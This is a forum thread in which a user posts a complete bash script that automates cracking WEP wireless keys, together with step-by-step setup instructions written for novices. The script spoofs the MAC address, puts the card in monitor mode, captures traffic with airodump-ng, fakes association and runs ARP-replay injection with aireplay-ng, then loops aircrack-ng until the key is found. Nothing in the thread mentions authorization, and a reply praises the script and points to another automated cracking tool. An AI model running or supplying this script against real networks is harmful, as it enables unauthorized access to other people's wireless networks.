Results 1 to 2 of 2

Thread: Automated script for cracking wep

  1. #1
    Just burned his ISO
    Join Date
    Jun 2009
    Posts
    1

    Cool Automated script for cracking wep

    Hey, I've created a script to make cracking wep a little easier. I'm sure its been done before, but I just wanted to carry with it to make it a little more foolproof for anyone who tries to use it- even if they have no experience with linux, let alone backtrack.

    Just like a few people to test it, thanks
    Lawrence


    For anyone new who doesn't know how to use the script below, you copy it into a text file, name it as wep, with no file extension. When in backtrack copy the file to the "home" folder accessible from the desktop. Now open Konsole (black icon next to windows start bar equivalent) and type "chmod 777 /root/wep" without quotes and then after that command has been executed, just type wep into terminal and press return/enter.

    After this is should be pretty self explanatory, and if it isn't I want to know exactly why its not- after all, I need to know where to improve it!

    Text to save into a file named wep (no extensions):

    echo -e "OPEN KISMET NOW AND ENSURE THAT THE DETAILS OF THE ACCESS POINT ARE AVAILABLE. WE ARE ABOUT TO CLOSE ITS CONNECTION.\n\n"
    sleep 3
    echo -n "When Kismet is open and ready, press enter to continue..."; read
    clear
    echo -e "All wifi interfaces will now be stopped - ath0 to ath4, kis0 to kis1\n\n"
    airmon-ng stop ath0; clear&
    airmon-ng stop ath1&
    airmon-ng stop ath2; clear&
    airmon-ng stop ath3&
    airmon-ng stop ath4; clear&
    airmon-ng stop kis0&
    airmon-ng stop kis1
    sleep 1
    echo -e "Done!"
    sleep 2
    clear
    echo -e "Press enter to change the MAC address...\n"; read
    ifconfig wifi0 && macchanger --mac 00:16:8b:00:00:74 wifi0
    echo -e "\n\nDone!"
    sleep 2
    clear
    echo -e "Press enter to start your wifi in monitor mode...\n"; read
    airmon-ng start wifi0
    echo -e "\nDone!"
    sleep 2
    clear
    clear
    echo -e "This next part will setup a dump of all captured packets. To do this some information will need to be provided, almost all of which is available from Kisemt. The filename you will need to make a note of, though it is your choice what to call it. Press enter to continue...\n\n"

    echo -e -n "filename: "; read filename;
    echo -e -n "channel (of AP): "; read channel;
    echo -e -n "SSID (of AP): "; read SSID;
    echo -e -n "BSSID (of AP): "; read BSSID;

    echo -e "\n\nThank you, all information nessasary for this process has now been collected. Press enter to start the dumping..."
    echo -e "\n\nLoading...\n\n"
    airodump="airodump-ng ath0 -w /$filename --channel $channel --ivs"
    screen -A -m -d -S airodump $airodump
    sleep 1
    echo -e "Done!\nPress enter to continue..."; read
    clear
    echo -e "The next part of the process will \"Associate\" your wifi card with the access point. This is a crucial step. Press enter to start the process...\n\n"; read
    aireplay-ng -1 0 -a $BSSID ath0
    sleep 1
    echo -n -e "\nDoes the association say it has succeeded? Y is 1 / N is 0: "; read VERIFY
    YES="1"
    NO="0"
    if [ $VERIFY -eq $NO ]
    then
    aireplay-ng -1 0 -a $BSSID ath0;
    echo -n -e "Does the association say it has succeeded? Y is 1 / N is 0: ";
    read VERIFY
    fi

    if [ $VERIFY -eq $NO ]
    then
    clear
    echo -e "Association has failed twice. This would slow down capturing packets to the extent that you may be better of finding an alternative method. Exit Konsole and load up this script again for another try, but the problem may very well be hardware based. Sorry!"; exit
    fi

    if [ $VERIFY -eq $YES ]
    then
    echo -e "\nCongratulations! Association has been successful and now we can start the injection process! Press enter to continue..."
    fi
    read
    clear
    echo -e "This part is where we will inject the packets. This gets a response from the AP, and we capture that response and store it. The stage after will routinely attempt to crack the file where this is being saved to, and after a few cycles it should manage to crack it. The problem is a certain number of packets are needed to crack the file, and so some waiting is involved. Press enter to start injection..."; read
    echo -e "\nLoading...\n\n"
    aireplay="aireplay-ng -3 -b $BSSID ath0"
    screen -A -m -d -S aireplay $aireplay
    sleep 5
    clear
    echo -e "The injection process has started. From here we will attempt to crack the file on a repeating loop. If the attempt fails, the program will try again up until the key has been found.\n\nBasically, my job is done! Thank you for using my script - Lawrence Jones \n\nPress enter to continue...\n"; read
    echo "Wait 120 seconds to allow for ARP requests to come in..."
    sleep 120
    echo -e "aircrack-ng -s /$filename-01.ivs"
    aircrack="aircrack-ng -s /$filename-01.ivs"
    $aircrack

  2. #2
    Member
    Join Date
    May 2009
    Posts
    102

    Default

    Quote Originally Posted by lawrencelaptop View Post
    Hey, I've created a script to make cracking wep a little easier. I'm sure its been done before, but I just wanted to carry with it to make it a little more foolproof for anyone who tries to use it- even if they have no experience with linux, let alone backtrack.

    Just like a few people to test it, thanks
    Lawrence
    This is a good work lawrence. Indeed there are so many folks who invested time in making wep cracking automated. If you will just search google or google codes (code.google.com) for "automated wep cracking script" you will get tons of hits. People just couldn't find a way to work together. Hopefully with the script I have created, people will work together for this common goal. Check out the wireless section of this forum and look for wepbuster

    regards,

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •